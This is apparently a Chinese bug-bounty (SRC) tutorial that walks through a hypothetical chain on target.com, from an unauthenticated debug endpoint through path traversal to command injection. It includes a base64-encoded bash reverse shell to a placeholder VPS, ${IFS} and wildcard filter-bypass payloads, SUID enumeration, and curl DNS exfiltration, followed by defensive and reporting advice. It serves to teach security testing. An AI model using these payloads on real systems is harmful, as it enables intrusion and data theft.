1. 项目概述从SRC到RCE实战的深度解析在安全研究领域SRC安全应急响应中心和RCE远程代码执行这两个词几乎构成了每一位白帽子日常工作的核心。SRC平台是连接安全研究者与企业的一道桥梁而RCE漏洞则是这座桥梁上最值得挖掘的“宝藏”之一。它不像一个简单的XSS或者信息泄露RCE一旦被成功利用往往意味着对目标服务器拥有了最高级别的控制权其危害等级和对应的奖励也通常是最高档。但挖掘一个高质量的RCE尤其是在众目睽睽的SRC平台上绝非易事。这不仅仅是对漏洞原理的理解更是对目标资产架构的洞察、对攻击链路的构思以及对防御边界的试探。今天我就结合自己多年在各大SRC平台“挖矿”的经验拆解一个包含RCE的完整实战案例聊聊背后的思路、踩过的坑以及那些容易被忽略的细节。这个案例将围绕一个典型的Web应用展开它可能使用了某些流行的开源框架或中间件。我们的目标不是提供一个可以无脑复现的“一键POC”而是深入剖析从信息收集、漏洞发现、利用链构造到最终获取Shell的完整逻辑。你会看到一个成功的RCE挖掘往往是多个“小问题”串联叠加的结果。无论是非常规路径下的接口、默认配置的组件还是代码逻辑中的细微瑕疵都可能成为突破口。对于刚入门SRC的新手理解这种“串联思维”远比死记硬背几个CVE编号重要得多而对于有经验的研究者希望其中的一些迂回思路和排查技巧能带来新的启发。2. 核心思路与攻击面梳理2.1 目标锁定与信息收集的“立体化”接到一个SRC目标第一步绝不是拿着扫描器无脑乱扫。我习惯先对目标进行“立体化”的信息收集。这包括但不限于主域、子域名、IP段、使用的技术栈Wappalyzer等工具、历史漏洞记录在各大漏洞平台搜索目标名称、甚至是通过网络空间测绘引擎如Fofa、Shodan寻找关联资产。对于RCE挖掘我尤其关注以下几点框架与组件识别这是最高效的路径。如果目标使用了Spring Boot、Struts2、Fastjson、Shiro、Log4j2等历史上“战绩辉煌”的组件那么它们就是优先测试对象。但要注意公开的、直接的漏洞往往已被修复或设有防护我们需要寻找的是非常规的利用方式或新旧版本混用带来的机会。接口与路径枚举很多RCE漏洞藏在深层次的API或管理界面中。使用gobuster、dirsearch等工具进行目录爆破时字典的选择至关重要。不能只使用通用字典要结合目标行业特性补充字典。例如针对OA系统要加入/seeyon、/yonyou等路径针对云管理平台则要关注/api/v1/、/admin/等。源代码与JavaScript分析前端JavaScript文件.js和映射文件.map是宝藏。它们可能泄露未在文档中记载的API接口、调试参数、甚至是硬编码的凭证。通过浏览器的开发者工具“网络”选项卡仔细查看前端加载的所有资源往往能发现通往后台的“隐秘通道”。注意信息收集阶段要控制扫描频率和并发避免对目标业务造成影响这是SRC活动的基本伦理也是避免自己被封IP的关键。2.2 RCE漏洞的常见入口与串联思维RCE很少以孤立的形式存在。它通常是一条攻击链的终点。我们需要培养“串联思维”将几个中低危的漏洞或配置问题组合起来达成RCE。常见的入口点包括文件上传漏洞这是最经典的路径。但如今往往伴有严格的文件类型、内容检查。我们需要考虑如何绕过检查如修改Content-Type、利用解析差异、制作图片马等并找到能够解析执行我们上传文件的位置如/uploads/目录。反序列化漏洞在Java、Python、PHP等语言的应用中如果程序接受了用户可控的序列化数据并进行反序列化就可能触发RCE。寻找接收base64编码数据、JSON但带有特殊标识如type的接口。模板注入漏洞SSTI在使用了Freemarker、Thymeleaf、Jinja2等模板引擎的应用中如果用户输入被直接拼接到模板中就可能造成代码执行。测试点通常在参数、路径或Cookie中。命令注入漏洞直接调用系统命令的函数如Runtime.exec(),ProcessBuilder,system(),exec()如果其参数用户部分可控且过滤不严就会导致RCE。需要测试空格、分号、管道符、反引号等各类命令分隔符的绕过。不安全的外部组件/依赖如之前提到的Log4j2、Fastjson或是旧版本的第三方库、框架。需要持续关注CVE公告并对目标资产进行准确的版本识别。配置缺陷导致的管理后台暴露许多中间件如Jenkins、Docker Registry、Redis或应用的管理后台默认开放且使用弱口令进入后台后通常能找到执行命令或上传文件的功能。在本案例中我们将假设一个场景通过信息收集发现了一个使用某流行Java框架的子域名其存在一个需要鉴权的管理功能。我们的攻击链可能是先通过信息泄露或弱口令进入后台然后在后台的某个功能点如“系统设置”、“日志管理”、“插件安装”中找到命令注入或文件上传的点。3. 实战案例拆解从发现到利用3.1 阶段一非常规路径下的管理后台发现假设我们对目标target.com进行子域名枚举发现了一个dev-admin.target.com的域名。访问该域名返回的是一个简单的登录页面没有明显的框架标识。路径爆破使用定制化的字典进行目录扫描。除了常见的/admin,/manage,/backend我还加入了/api/admin,/v1/console,/system等。结果发现了一个路径/ops/返回了一个401 Unauthorized但页面标题显示为“XX系统运维平台”。绕过认证尝试尝试常用弱口令admin/admin, admin/123456等无果。转而查看前端JS。在登录页面的主JS文件中通过格式化代码和搜索关键词如login,auth,token发现了一段有趣的注释掉的代码其中包含一个测试接口的路径/ops/api/v1/debug/health。访问调试接口直接访问https://dev-admin.target.com/ops/api/v1/debug/health竟然返回了系统的健康状态信息JSON格式且无需任何认证。这是一个典型的信息泄露/未授权访问漏洞。在返回信息中看到了系统使用的内部服务地址、组件版本其中包含一个较旧的日志组件等敏感信息。3.2 阶段二利用信息泄露寻找攻击点从健康检查接口泄露的信息中我注意到系统内集成了一个“日志查看”服务其内部端点指向http://internal-log-service:8080。虽然无法直接访问但我们在主应用/ops/的页面上找到了一个“实时日志”功能菜单。功能点测试在登录无果的情况下尝试直接访问“实时日志”功能对应的URL。通过浏览器开发者工具抓取登录后正常访问的请求发现其路径为/ops/#/log/realTime前端路由。但直接请求其数据接口/ops/api/v1/log/stream?file/var/log/app.log时同样返回401。参数污染与路径遍历回顾健康检查接口它是/debug/health。我尝试将这种/debug/模式应用到日志接口上。构造请求GET /ops/api/v1/debug/log/stream?file/var/log/app.log。奇迹发生了服务器返回了/var/log/app.log文件的内容这证实了/debug/路径下的接口可能存在统一的鉴权绕过。命令注入试探既然可以读取任意文件Path Traversal我尝试在file参数中注入命令。首先测试基础分隔符file/var/log/app.log;id。返回错误提示文件不存在。尝试反引号fileid同样错误。这说明后端可能是直接使用cat或tail命令拼接参数但做了基础的过滤。3.3 阶段三构造命令注入与交互式Shell获取分析过滤规则通过返回的错误信息我发现当参数包含空格或分号时会报“非法参数”。但使用${IFS}Shell中空格的内部字段分隔符变量替换空格时错误信息变了变成了“文件/var/log/app.log${IFS}不存在”。这说明空格过滤被绕过但后端可能是用类似Runtime.exec(“sh”, “-c”, “cat “ userInput)的方式执行${IFS}被当作文件名的一部分了。寻找无需空格的命令在Linux中有些命令可以不用空格。例如利用{cat,/etc/passwd}这种大括号扩展语法。我尝试file/var/log/app.log;{cat,/etc/passwd}。服务器返回了/etc/passwd文件的内容命令注入成功。反弹Shell目标是获取一个交互式Shell。由于可能存在字符过滤我选择使用编码和管道的方式。首先在公网VPS上监听一个端口nc -lvnp 4444。然后构造一个通过bash反弹Shell的Payload并将其进行base64编码。原始命令bash -i /dev/tcp/YOUR_VPS_IP/4444 01Base64编码YmFzaCAtaSAJiAvZGV2L3RjcC9ZT1VSX1ZQU19JUC80NDQ0IDAJjE构造注入参数file/var/log/app.log;echo${IFS}YmFzaCAtaSAJiAvZGV2L3RjcC9ZT1VSX1ZQU19JUC80NDQ0IDAJjE|base64${IFS}-d|bash这里${IFS}替换了所有空格整个命令的意思是先输出base64字符串然后通过管道用base64 -d解码最后交给bash执行。执行与权限提升将上述Payload作为file参数的值发起GET请求。很快VPS上的nc监听器收到了连接获得了一个bashshell。执行id命令发现当前用户是www-data权限较低。接下来需要进行简单的权限检查如查看sudo -l寻找具有SUID位的二进制文件find / -perm -us -type f 2/dev/null或者检查内核版本寻找本地提权漏洞。这部分属于内网渗透范畴在SRC报告中通常点到为止证明RCE成功即可。实操心得在构造命令注入Payload时不要一上来就用反弹Shell这种“大动作”。先使用whoami、id、pwd、ls等简单命令确认注入是否成功、当前权限和路径。另外注意命令的上下文如果后端是用Java的Runtime.exec它不能直接解析管道符|或重定向需要将它们包裹在bash -c中。本例中因为猜测后端是sh -c所以可以直接使用。4. 漏洞原理深度剖析与绕过技巧4.1 漏洞根因多层防御的失效这个案例的RCE是多个环节失守的结果第一层鉴权绕过开发者在/debug/路径下的接口本意用于内部监控但错误地将其暴露在公网且未实施任何访问控制。这是典型的功能性配置错误。第二层输入验证不足日志查看接口的file参数本应严格限制为预期的日志文件名。但后端仅进行了简单的黑名单过滤过滤空格、分号未能进行白名单校验或有效的路径规范化导致路径遍历和命令注入成为可能。第三层不安全的外部命令调用后端直接使用用户可控的字符串拼接系统命令如cat $file这是最危险的编程实践。应使用安全的API如Java的ProcessBuilder并明确传递参数数组或对输入进行严格的净化。4.2 命令注入的绕过技巧汇编在实际测试中你会遇到各种过滤。以下是一些常见的绕过技巧过滤项可能的绕过方式示例空格使用${IFS}、$IFS$9、、、%09Tab的URL编码、{cat,/etc/passwd}cat${IFS}/etc/passwd黑名单关键字(cat,bash,nc等)使用通配符?、*或命令拼接/???/p?ss??(匹配 /etc/passwd),ac;bat;$a$b /etc/passwd管道符/重定向符(,,)使用$()命令替换或编码后通过echo解码执行长度限制将命令写入临时文件再执行echo${IFS}Y2F0IC9ldGMvcGFzc3dkC${IFS}/tmp/a;base64${IFS}-dC${IFS}/tmp/a|bash字符集过滤利用环境变量、反斜杠转义、引号c\at /etc/passwd,”cat” /etc/passwd一个高级技巧无回显命令注入的判断。当页面没有回显时可以使用时间盲注或外带技术OOB。时间盲注filetest;sleep${IFS}5。如果服务器响应延迟了5秒说明注入成功。DNS外带filetest;curl${IFS}whoami.your-domain.com。在你的DNS日志中查看子域名记录whoami命令的结果就会被带出。5. 防御视角与安全开发建议站在开发者和防御者的角度如何避免此类漏洞最小权限原则运行Web服务的用户如www-data应仅拥有必要的最小权限。禁止其使用sudo并限制其可访问的文件系统范围。输入验证与净化白名单优于黑名单对于file参数应基于已知的安全文件列表进行校验。规范化路径使用编程语言提供的规范路径函数如Java的Path.normalize()Python的os.path.normpath()并检查路径是否在预期的基础目录内。避免拼接命令绝对不要使用字符串拼接的方式构造系统命令。如果必须执行命令应使用安全的API如Java的ProcessBuilderPython的subprocess.run(args[])将命令和参数作为分离的数组传递。安全的默认配置调试接口、监控端点、管理后台必须强制实施强认证并且默认不应暴露在公网。生产环境应关闭所有调试功能。依赖项管理定期扫描和更新第三方库、框架及时修补已知的CVE漏洞。使用软件成分分析SCA工具自动化这一过程。纵深防御在服务器前端部署WAFWeb应用防火墙虽然不能根治漏洞但可以拦截大量已知的攻击Payload为修复争取时间。同时启用完善的日志审计记录所有敏感操作如文件访问、命令执行便于事后追溯和分析。6. SRC报告撰写与沟通要点挖到漏洞只是成功了一半清晰、专业地提交报告同样重要。标题明确【高危】[目标域名]某接口存在未授权访问导致命令注入RCE漏洞详情漏洞URL提供完整的可复现的URL和Payload。漏洞参数明确指出存在问题的参数如file。漏洞描述分步骤描述漏洞发现和利用过程如1. 发现未授权访问的/debug/health接口2. 通过路径遍历读取文件3. 构造命令注入Payload获取Shell。漏洞证明这是核心。必须提供截图或视频。截图应包括注入Payload的请求、服务器返回敏感信息如/etc/passwd内容或命令执行结果如id命令回显、反弹Shell成功的证明。注意打码敏感信息如主机名、真实IP、其他用户信息需模糊处理。修复建议参考上一节的防御建议给出具体、可操作的方案。例如“对/debug/路径下的所有接口实施IP白名单或强令牌认证”“对file参数实施白名单校验或使用安全的文件读取API”。沟通技巧语气礼貌专业专注于技术描述。如果漏洞需要进一步澄清积极配合。对于争议漏洞如厂商认为风险较低准备好更详细的技术原理说明和潜在危害论证。在整个过程中我个人的最深体会是耐心和细致比任何自动化工具都重要。工具能帮你发现“面”但真正的“点”往往藏在不起眼的JS文件里、藏在非标准的API路径里、藏在某个被遗忘的调试功能里。养成深入分析每一个异常返回、仔细阅读每一行前端代码的习惯你会发现自己挖掘漏洞的能力将得到质的提升。最后永远保持对技术的好奇心和对安全的敬畏心在SRC的战场上这二者缺一不可。